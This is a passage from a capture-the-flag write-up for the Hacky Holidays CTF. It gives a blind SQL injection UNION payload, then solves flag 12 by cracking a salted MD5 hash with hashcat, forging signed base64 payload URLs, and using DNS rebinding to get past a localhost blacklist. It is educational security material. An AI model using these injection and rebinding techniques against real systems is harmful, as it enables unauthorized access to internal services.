-8436' UNION SELECT "1' UNION SELECT 'rad.jpg',1,'../api/user?username=grinchadmin%26password={}%' -- -",'12',1-- -

one character at a time I found the password i.e s4nt4sucks

Using these credentials I logged in to the attack box(https://hackyholidays.h1ctf.com/attack-box/login)

{F1129473}

Thanks to @neolex @mcipekci @xEHLE and every one who gave hint for this challenge I donā€™t think I could have done this alone.

Flag 12

For this we start from the very same page on which we found the flag for 11th challenge. We can see that there are three IP and red buttons to attack those.

If we click on any of those buttons then a new tab opens up which shows that some ping requests were sent

{F1129482}

Now if we look at href in those ATTACK buttons they looks like:

https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

Decoded base64 looks like:

{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}                                                                                                     

Now as we can see there is a target and a hash, so I checked if the hash is the md5 of the target value but it wasnā€™t. I tried replacing the hash but got nothing but errors. If the hash is of the target then there is a possibility that it was salted meaning if we calculate the md5 without hash it will be different.

To test this I decided to use hashcat and see if I can recover any salt

hashcat -m 10 -O hash.txt rockyou.txt -o hash.out

{F1129483}

we can see that we found the salt to be mrgrinch463 this means that now we can generate our own target. So the very first one that I tried was hackyholidays.h1ctf.com

I used this to generate the hash and then base64 encoded it to send it to the URL.

{"target":"hackyholidays.h1ctf.com","hash":"59bcc3074be23595ebb5e4259abc0de6"}
https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiJoYWNreWhvbGlkYXlzLmgxY3RmLmNvbSIsImhhc2giOiI1OWJjYzMwNzRiZTIzNTk1ZWJiNWU0MjU5YWJjMGRlNiJ9

But the attack was aborted because it detected that Local target was being attacked. So the next step is clear we need to bypass this so we can attack the localhost cause that is the house of grinch and we need to destroys grinch network.

{F1129484}

In the above image we see an attack happening on 192.168.1.1.xip.io what we can understand from this is:

  1. The input target is first resolved.
  2. Spinning up botnet is when the system checks wether the target is localhost or not.
  3. Then we see it says: Launching attack against: 192.168.1.1.xip.io / 192.168.1.1 that means it launched the attack on the target that was provided by the user as an input instead of using the host which is receives in STEP-1 after resolving.

If we have to write a pseudo code for this kind of functionality it would look like:

BLACKLIST = ["127.0.0.1", "OR WHATEVER YOU WANT"]
if RESOLVE($user_input) != BLACKLIST:
	Launch_attack_on($user_input)

This is like first we sanitize something and then we use the unsanitized input. Now we know what the problem is we just need to find a way to exploit it. This kind of vulnerabilities are known as TOCTOU(Time of check, Time of use).

The specific way to exploit the vulnerability we need to use DNS rebinding. In simple way DNS rebinding is type of TOCTOU in which a certain domain resolves to something and when the same domain is resolved again it would resolve to something.

Ex: I found this service called 1u.ms

host -t A make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

{F1129485}

We can see how a single domain first resolves to 1.2.3.4 and then it resolves to 169.254.169.254.


We have to do the same kind of attack so first our domain will resolve to any random IP which will pass the blacklist but later when the attack is lauched it will resolve to 127.0.0.1 putting down the grinchā€™s network.

I tried to use something like make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms which will resolve to 1.2.3.4 first and then localhost later. I generated the hash for this and base64 encoded it and then passed it in the payload parameter but it didnā€™t work. It wouldnā€™t resolve to 127.0.0.1. I tried the same process various time but nothing. So I felt that this(1u.ms) must be the problem and then I googled dns rebinding service. The first URL that we get is https://lock.cmpxchg8b.com/rebinder.html, this service says that it will take two IP and will then resolve randomly to any of these IPā€™s

I used 1.2.3.4 in the A and 127.0.0.1 to B

{F1129486}

and then got 01020304.7f000001.rbndr.us. So I used this as the target and generated the hash for this target using mrgrinch463 salt using this website.

{"target":"01020304.7f000001.rbndr.us","hash":"69c31cdcfad3ef1deb652f4aca52d2cc"}

Then I used cyberchef recipe to base64 encode this.

The final URL looked like:

https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIwMTAyMDMwNC43ZjAwMDAwMS5yYm5kci51cyIsImhhc2giOiI2OWMzMWNkY2ZhZDNlZjFkZWI2NTJmNGFjYTUyZDJjYyJ9

I had to paste this URL various time since it would randomly resolve to 127.0.0.1 sometime and check would fail but in the end I got it.

{F1129490}

{F1129487}

šŸŽ‰šŸŽ‰šŸŽ‰šŸŽ‰

Impact

This CTF was amazing. I really enjoyed it, learned loads of stuff and would really like to thank @adam for making this awesome CTF. Thanks to @neolex @0xatul @shamollash @xEHLE and everyone who gave any kind of hint or helped me in any way. I xouldnā€™t have solve this all by my self.